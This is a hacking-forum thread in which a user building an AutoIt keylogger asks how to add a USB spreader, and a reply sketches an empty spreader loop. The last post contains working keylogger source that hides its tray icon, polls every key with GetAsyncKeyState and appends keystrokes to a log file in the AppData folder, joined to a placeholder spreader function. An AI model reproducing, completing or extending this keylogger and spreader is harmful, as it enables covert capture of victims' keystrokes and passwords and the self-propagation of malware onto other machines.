Sinisterly
Questions about Autoit. Help plz - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: Questions about Autoit. Help plz (/Thread-Questions-about-Autoit-Help-plz)



Questions about Autoit. Help plz - gheist12340 - 03-19-2014

Sorry to bother ya all i have been making an autoit keylogger based on scripts and codes on this forum but i have a question how do i add new functions like for example how do i input a spreader? Do i make a different script that reacts to a usb drive and spreads to it? And how do i add functions to it.
Cumps Gheist12340


RE: Questions about Autoit. Help plz - DUNEDAI - 03-21-2014

is easy, it adds some role-usb spreader to stub and you just have to call ...

Code:
While 1      _Spreader_usb()     ...     ... Wend Func _Spreader_usb()     ...     ... EndFunc



RE: Questions about Autoit. Help plz - gheist12340 - 03-23-2014

(03-21-2014, 09:30 AM)DUNEDAI Wrote: is easy, it adds some role-usb spreader to stub and you just have to call ...

Code:
While 1      _Spreader_usb()     ...     ... Wend Func _Spreader_usb()     ...     ... EndFunc

for example if i wnated to use M3 simple keylogger function (http://www.hackcommunity.com/Thread-Simple-Keylogger-Function) plus the spreader code you put here would it be like this?
Code:
#NotrayIcon #include <WinAPI.au3> sGetKey() Func sGetKey() While 1 Local $sKey, $Result , $Log For $sKey = 1 To 255 $Result = _WinAPI_GetAsyncKeyState($sKey) If $Result = -32767 then $Result = Chr($sKey) $Log = FileOpen(@AppDataDir & "\Log.txt", 1) FileWrite($Log, $Result) FileClose($Log) EndIf Next WEnd Endfunc _Spreader_usb() While 1 _Spreader_usb() Wend Func _Spreader_usb() EndFunc Call(_Spreader_usb)


Remember to use code tags for code, staff